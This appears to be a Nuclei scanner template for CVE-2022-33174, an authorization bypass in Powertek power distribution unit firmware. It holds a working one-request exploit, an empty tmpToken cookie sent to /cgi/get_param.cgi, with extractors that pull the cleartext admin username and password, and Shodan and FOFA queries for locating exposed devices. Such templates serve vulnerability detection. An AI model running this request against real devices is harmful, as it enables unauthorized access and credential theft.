id: CVE-2022-33174

info:
  name: Powertek Firmware <3.30.30 - Authorization Bypass
  author: pikpikcu
  severity: high
  description: |
    Powertek firmware (multiple brands) before 3.30.30 running Power Distribution Units are vulnerable to authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface (/cgi/get_param.cgi) with the tmpToken cookie set to an empty string followed by a semicolon. This bypasses an active session authorization check. This can be then used to fetch the values of protected sys.passwd and sys.su.name fields that contain the username and password in cleartext.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the Powertek Firmware, potentially leading to further compromise of the system.
  remediation: |
    Upgrade the Powertek Firmware to version 3.30.30 or higher to mitigate the vulnerability.
  reference:
    - https://gynvael.coldwind.pl/?lang=en&id=748
    - https://nvd.nist.gov/vuln/detail/CVE-2022-33174
    - https://github.com/Henry4E36/CVE-2022-33174
    - https://github.com/k0mi-tg/CVE-POC
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-33174
    cwe-id: CWE-863
    epss-score: 0.13425
    epss-percentile: 0.96039
    cpe: cpe:2.3:o:powertekpdus:basic_pdu_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: powertekpdus
    product: basic_pdu_firmware
    shodan-query:
      - http.html:"Powertek"
      - http.html:"powertek"
    fofa-query: body="powertek"
  tags: cve2022,cve,powertek,auth-bypass,powertekpdus,vuln

http:
  - raw:
      - |
        GET /cgi/get_param.cgi?xml&sys.passwd&sys.su.name HTTP/1.1
        Host: {{Hostname}}
        Cookie: tmpToken=;

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<sys.passwd>'
          - '<sys.su.name>'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '<sys\.passwd>([A-Z0-9a-z]+)<\/sys\.passwd>'
          - '<sys\.su\.name>([a-z]+)<\/sys\.su\.name>'
        part: body
# digest: 4b0a00483046022100c47aae3d83d0a278caee2821096388b2f84ba49ad97249c308377013c25ef7d3022100dd77819541af8319f59eaead15f297db3a29170994b9510cc91b2e60cc59ef72:922c64590222798bb761d5b6d8e72950